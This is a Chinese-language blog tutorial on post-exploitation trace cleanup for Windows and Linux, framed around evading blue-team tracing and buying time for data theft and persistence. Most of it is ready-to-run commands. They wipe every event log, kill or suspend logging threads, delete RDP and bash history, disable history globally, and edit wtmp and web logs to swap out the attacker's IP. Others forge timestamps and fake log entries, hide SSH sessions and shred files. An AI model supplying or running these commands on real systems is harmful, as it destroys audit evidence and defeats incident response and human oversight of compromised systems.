后渗透痕迹清理实战指南

在渗透测试的后渗透阶段,痕迹清理是保障攻击隐蔽性、为后续行动争取时间的关键环节。很多人误以为痕迹清理是攻击结束后的收尾工作,实际上,真正的痕迹清理应该贯穿整个渗透过程 ------ 边操作、边清理,才能最大程度降低被蓝队溯源的风险。

什么是痕迹清理?

痕迹清理,本质上是抹除或替换渗透操作在目标系统中遗留的各类记录,它既可以是攻击完成后的收尾,也可以是为了长期隐秘持久化权限的日常操作。

发生场景

这类操作最常见于内网渗透场景中,攻击者通过跳板机横向移动时,需要清理每一步操作留下的记录;当然在 Web 渗透中,也会涉及到 Web 后门的痕迹隐藏。

痕迹清理的核心目的

  1. 为下一步渗透争取时间差:拖延蓝队的溯源与应急响应速度,为自己的后续行动(比如数据窃取、权限维持)留出窗口。

  2. 提升操作的隐蔽性:避免自己的攻击行为被管理员或安全设备发现,保障攻击链路的安全。

注意:没有绝对的无痕操作!只要与目标系统产生交互,就一定会留下痕迹,第三方日志平台(比如 SIEM、云审计平台)的记录更是几乎无法篡改。我们能做的,只是尽可能清理本地可操作的记录,提升溯源的难度。


Windows 系统痕迹清理

想要清理 Windows 的操作痕迹,首先要搞懂 Windows 的日志记录机制,只有知道日志是怎么产生的,才能针对性地处理。

Windows 日志记录的基本机制

Windows 的日志记录依赖于几个核心组件:

  1. svchost.exe:Windows 自带的系统进程,其中会启动专门的日志记录线程,负责捕获系统操作。

  2. 内存缓存:捕获到的操作会先暂存到内存中,避免频繁磁盘 IO。

  3. XML 解析 :内存中的数据会通过wevtutil\.exe解析为 XML 格式的中间文件。

  4. 日志生成:最终 XML 文件会被转换为我们可以在事件查看器中看到的可读日志,每条日志都包含时间、来源、用户、操作等核心信息。

我们所有的系统日志,都可以在计算机 - 管理 - 事件查看器中查看:

Windows 日志的分类与核心信息

Windows 的日志分为多个类别,不同的日志记录不同维度的操作:

  • 自定义视图:可以自定义筛选重要日志,方便快速查看。

  • 应用程序日志:记录系统上安装的应用程序的运行事件。

  • 安全日志:最核心的安全审计日志,记录用户登录、注销、权限变更、文件访问等操作。

  • Setup 日志:系统更新、组件安装相关的日志。

  • 系统日志:记录系统内核、服务、注册表、开关机等系统级操作。

  • ForwardedEvents:转发的事件日志,比如 DNS 的转发记录。

  • 应用程序和服务日志:微软自带组件、第三方软件的专属日志,比如 OpenSSH 的连接日志。

每条日志都包含这些核心属性:

  1. 日志级别:标识事件的严重程度,用于快速评估事件的紧急性,比如错误、警告、信息等。

  2. 日期和时间:事件发生的时间戳,是溯源的核心线索。

  3. 来源 :生成事件的组件或程序,比如Microsoft\-Windows\-Security\-Auditing代表安全审计事件。

  4. 事件 ID:唯一标识事件类型的数字,蓝队应急响应中最常用的标识,比如:

    事件 ID 含义
    1074 系统即将关闭
    6005 系统启动
    6006 系统关闭
    4624 成功登录
    4625 登录失败
    4634 用户注销
    4688 新进程创建
    4697 安装或卸载服务
  5. 任务类别:对事件的分类,比如登录事件、对象访问、进程追踪等。


实战:Windows 痕迹清理的具体操作

1. 清理 3389 远程桌面连接痕迹

内网渗透中,3389 远程桌面是最常用的横向移动手段,而 RDP 连接会在本地留下两类痕迹:

  • 文档目录下的Default\.rdp配置文件,记录了连接的配置信息。

  • 注册表中的连接历史,记录了曾经连接过的目标 IP、账号信息。

对应的注册表路径为:HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Terminal Server Client\\,在这里可以看到所有的 RDP 连接历史:

我们可以通过批处理脚本一键清理这些痕迹:

复制代码
@echo off 
:: 删除注册表中的RDP连接历史
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f 
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f 
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /v "TestServer" /t REG_SZ /d "server_address" /f 
:: 删除文档中的rdp配置文件
cd %userprofile%\documents\ 
attrib Default.rdp  -s -h 
del Default.rdp
2. 系统日志的全面清理

Windows 的系统日志默认存放在%SystemRoot%\\System32\\Winevt\\Logs\\目录下,我们可以通过多种方式清理这些日志:

方式 1:命令行工具 wevtutil

wevtutil是 Windows 自带的日志管理工具,我们可以用它快速清理各类日志:

复制代码
:: 列出系统中所有日志名称
wevtutil el 
:: 清理系统日志
wevtutil cl system 
:: 清理应用程序日志
wevtutil cl application 
:: 清理安全日志
wevtutil cl security 
:: 一键清理所有日志
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

执行效果如下:

方式 2:PowerShell 清理
复制代码
# 清理指定日志
Clear-Eventlog -Log Application,system,security
# 批量清理所有日志
Get-WinEvent -ListLog * -Force | %{Wevtutil.exe cl $_.Logname}
方式 3:渗透工具自带功能

比如 MSF 的 meterpreter 中,自带了clearev命令,可以一键清理事件日志;Cobalt Strike 也有对应的日志清理插件。

注意:直接删除整个日志文件的操作风险很高,不仅可能导致系统崩溃,删除日志这个行为本身也会产生新的日志,很容易被蓝队发现。

3. 最近文件记录清理

渗透过程中上传的脚本、打开的文件,都会在系统的 "最近使用的文件" 中留下记录,这些记录存放在用户目录的Recent文件夹中,我们可以用命令一键清理:

复制代码
del /f /s /q "%userprofile%\Recent\*.*"
4. 文件的覆写删除

普通的删除文件只是标记了磁盘空间为可用,数据其实还可以被恢复。所以对于敏感文件,我们需要用覆写的方式彻底删除:

复制代码
:: 覆写删除单个文件所在的磁盘空闲空间,彻底擦除已删除文件的痕迹
cipher /w:C:\test 
:: 格式化整个盘符(谨慎使用)
format 盘符
5. 停止日志记录

如果我们需要进行长时间的操作,与其事后清理,不如提前停止日志的生成,避免产生大量的记录:

方式 1:Invoke-Phant0m

这是一个 PowerShell 脚本,它会直接杀掉 svchost.exe 中的日志记录线程,让系统不再产生日志:

复制代码
# 管理员身份启动PowerShell
powershell 
# 导入模块
import-module .\Invoke-Phant0m.ps1 
# 执行停止日志
Invoke-Phant0m

缺点:杀掉线程后,想要恢复日志功能必须重启系统。

方式 2:EventCleaner(推荐)

这是更灵活的工具,它不会杀掉日志线程,而是将线程挂起,渗透完成后可以恢复日志功能,不会影响系统:

复制代码
# 管理员身份启动CMD
cmd 
:: 挂起日志线程,停止记录
EventCleaner.exe suspend 
:: 渗透完成后,恢复日志记录
EventCleaner.exe normal
6. 伪造痕迹

有时候,清理痕迹不如伪造痕迹,把自己的操作伪装成正常的系统事件,更难被发现:

伪造文件时间戳

修改文件的创建、访问、修改时间,让敏感文件看起来像是旧的系统文件:

复制代码
Function edit_time($path) {  
# 随机从现有文件的时间中选一个,避免时间太突兀
$date1 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random 
$date2 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random 
$date3 = Get-ChildItem | Select-Object -ExpandProperty LastWriteTime | Get-Random 
$(Get-Item $path).LastAccessTime = $date1 
$(Get-Item $path).CreationTime = $date2 
$(Get-Item $path).LastWriteTime = $date3 
} 
# 修改C:\test文件的时间
edit_time "C:\test"
伪造系统日志

用 Windows 自带的eventcreate工具,生成伪造的日志,混淆蓝队的分析:

复制代码
# 管理员身份运行,在系统日志中生成一条伪造的警告事件
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

Linux 系统痕迹清理

Linux 的设计遵循 "万物皆文件" 的思想,所有的日志、记录都以文件的形式存在,所以 Linux 的痕迹清理相对 Windows 来说,操作更直接。

1. 隐藏远程 SSH 登录记录

默认的 SSH 登录会被wwholast等命令检测到,我们可以用特殊的登录方式,隐藏登录记录:

复制代码
# 隐藏登录,不会被w、who、last检测到
ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 
​
# 进阶:同时不记录SSH公钥到本地known_hosts,避免留下目标主机的指纹
ssh -o UserKnownHostsFile=/dev/null -T root@xxx.xxx.xxx.xxx /bin/bash -i

2. Bash 历史命令清理

Linux 的命令行操作都会被记录到\.bash\_history文件中,这是最容易暴露攻击行为的记录,所以清理历史命令是重中之重。

Bash 历史记录的原理
  1. 启动 Shell 时,会从\.bash\_history中读取历史记录到内存缓冲区。

  2. 操作的命令会先存到内存缓冲区,不会立刻写入文件。

  3. 退出 Shell 时,才会把缓冲区的内容写入到\.bash\_history文件。

清理历史命令的方法
复制代码
# 1. 全部清空历史记录
history -c  # 清空内存中的缓存
history -w  # 把空的缓存写入文件,覆盖原来的历史
​
# 2. 删除指定的命令
history | grep "keyword"  # 找到要删除的命令的编号
history -d num  # 删除指定编号的命令
# 批量删除,只保留最后15行
sed -i '15,$d' .bash_history
​
# 3. 临时停止当前Shell的历史记录
set +o history  # 关闭记录,之后的命令不会被记录
# 操作完成后,重新开启
set -o history
​
# 4. 彻底禁用历史记录
# 方法1:修改全局配置,所有Shell生效
echo "HISTSIZE=0" >> /etc/profile
source /etc/profile
​
# 方法2:当前Shell临时生效
HISTSIZE=0 && HISTFILESIZE=0
​
# 方法3:修改用户配置,永久生效
echo "HISTSIZE=0 && HISTFILESIZE=0" >> ~/.bashrc

清理 Bash 历史的操作效果:

3. 系统日志清理

Linux 的系统日志都存放在/var/log/目录下,我们可以针对性地清理这些日志:

基础的日志清空
复制代码
# 清除用户最后一次登录时间
echo > /var/log/lastlog 
# 清除当前登录用户的信息
echo > /var/log/utmp 
# 清除安全日志记录
cat /dev/null >  /var/log/secure 
# 清除系统日志记录
cat /dev/null >  /var/log/message

注意:直接把整个日志文件清空的特征太明显,很容易被管理员发现,推荐用针对性的修改。

针对性修改日志

只删除自己的操作记录,保留其他正常的日志,更隐蔽:

复制代码
# 用sed修改日志中的内容,把自己的IP替换成其他的
sed -i 's/10.0.0.1/192.168.1.1/g' /var/log/apache2/access.log.1
​
# 删除日志中带有关键字的行
sed -i '/10.0.0.1/'d /var/log/apache2/access.log.1
​
# 用grep过滤掉自己的记录,重写日志文件
cat access.log | grep -v "10.0.0.1" > access.log.new
cat access.log.new > access.log
二进制日志的修改

对于wtmpbtmp这类二进制日志,我们需要先转成文本,修改后再转回去:

复制代码
# 导出wtmp为文本
utmpdump /var/log/wtmp > /var/log/wtmp.txt 
# 修改文本,替换自己的IP
vim /var/log/wtmp.txt 
:%s/10.0.0.1/192.168.5.5/g 
# 重新转成二进制日志
utmpdump -r < /var/log/wtmp.txt > /var/log/wtmp 
# 删除临时文件
rm /var/log/wtmp.txt
覆写删除敏感文件

和 Windows 一样,Linux 也可以用覆写的方式彻底删除文件,避免被恢复:

复制代码
# shred工具,多次覆写文件,彻底删除
shred -f -u -z -v -n 6 目标文件
# 参数说明:
# -f: 强制修改权限
# -n 6: 覆写6次,默认3次
# -u: 覆写后删除文件
# -z: 最后用0覆盖,隐藏覆写痕迹
修改文件时间戳

修改敏感文件的时间戳,伪装成旧文件,避免被管理员发现:

复制代码
# 查看文件的时间
stat test.txt
​
# 修改访问时间和修改时间
touch -a -d "2023-02-02 11:10:20.000235123" test.txt 
touch -m -d "2023-02-02 12:10:20.010242137" test.txt 
​
# 如果要修改改动时间(ctime),可以临时修改系统时间
date -s "20230201 16:43:53" 
touch -r ~/.bashrc test.txt  # 把系统文件的时间赋给目标文件
hwclock --hctosys  # 恢复系统时间

4. 自动化清理工具

Moonwalk:Linux 无痕会话工具

Moonwalk 是一个轻量的 Linux 痕迹清理工具,它可以在你开始渗透前备份系统日志的状态,渗透完成后,把日志和文件时间戳恢复到之前的状态,相当于 &#34;无痕会话&#34;:

复制代码
# 下载安装
curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
chmod +x moonwalk
​
# 开始渗透前,启动会话,备份当前状态
./moonwalk start
​
# 执行你的渗透操作...
​
# 操作完成后,清理痕迹,恢复状态
./moonwalk finish
​
# 单独恢复某个文件的时间戳
./moonwalk get test.txt
BleachBit:跨平台系统清理工具

BleachBit 是一个开源的跨平台清理工具,支持 Windows 和 Linux,它可以一键清理系统缓存、历史记录、日志、临时文件等,同时支持安全擦除,是渗透中很常用的自动化清理工具:


痕迹清理的核心总结与注意事项

核心重点

  1. 痕迹清理的核心目的是争取时间差,而不是绝对的无痕。

  2. 要熟悉目标系统的日志记录机制,才能针对性地清理。

  3. 优先清理自己的操作记录,而不是清空整个日志,后者太容易暴露。

实战注意事项

  1. 优先单条删除,而非全盘清空:能只删除自己的操作记录,就不要清空整个日志文件,全盘清空的特征太明显,反而会告诉蓝队 &#34;这里有人攻击过&#34;。

  2. 文件删除尽量用覆写:普通删除很容易被数据恢复,敏感文件一定要用覆写的方式彻底擦除。

  3. 伪造痕迹比清理更有效:把自己的操作伪装成正常事件,比删除记录更难被发现。

  4. 不要随便停止日志进程:直接杀掉日志线程会导致整个日志系统停止,蓝队一眼就能看到异常,不如针对性删除自己的记录。

  5. 利用网络隧道隐藏连接痕迹:端口转发、内网穿透这些技术,本身就是隐藏网络连接痕迹的手段。

  6. 评估时间差:清理完痕迹后,要估算蓝队需要多久才能发现并溯源,为自己的下一步行动留出足够的时间。

学习路径

想要做好痕迹清理,你需要深入学习这些内容:

  • 蓝队的应急响应与溯源思路,知己知彼才能知道要清理什么。

  • 安全软件的清理逻辑,学习它们的日志路径,就能知道系统会记录什么。

  • Windows 的文件系统与事件日志机制,深入理解日志的产生原理。

  • Linux 的日志系统与 Shell 机制,搞清楚各类记录的存储位置。

相关推荐
大方子8 小时前
【好靶场】他被什么加固了2?
网络安全·好靶场
大方子11 小时前
【好靶场】他被什么加固了1?
网络安全·好靶场
大方子12 小时前
【PolarCTF】upload1
网络安全·polarctf
大方子14 小时前
【PolarCTF】rapyiquan
网络安全·polarctf
锐速网络14 小时前
SaaS云防护:DDoS/CC/爬虫一站式解决方案
网络安全·云waf·ddos防护·企业网站防护·saas云防护·cc攻击防护·恶意爬虫拦截
Chockmans1 天前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652
C2H5OH1 天前
PortSwigger SQL注入LAB10
网络安全
汤愈韬1 天前
IPSec工作原理——TK
网络·网络协议·网络安全·security
treesforest1 天前
机房IP是什么?有什么危害?如何识别?
网络·数据库·python·网络协议·tcp/ip·网络安全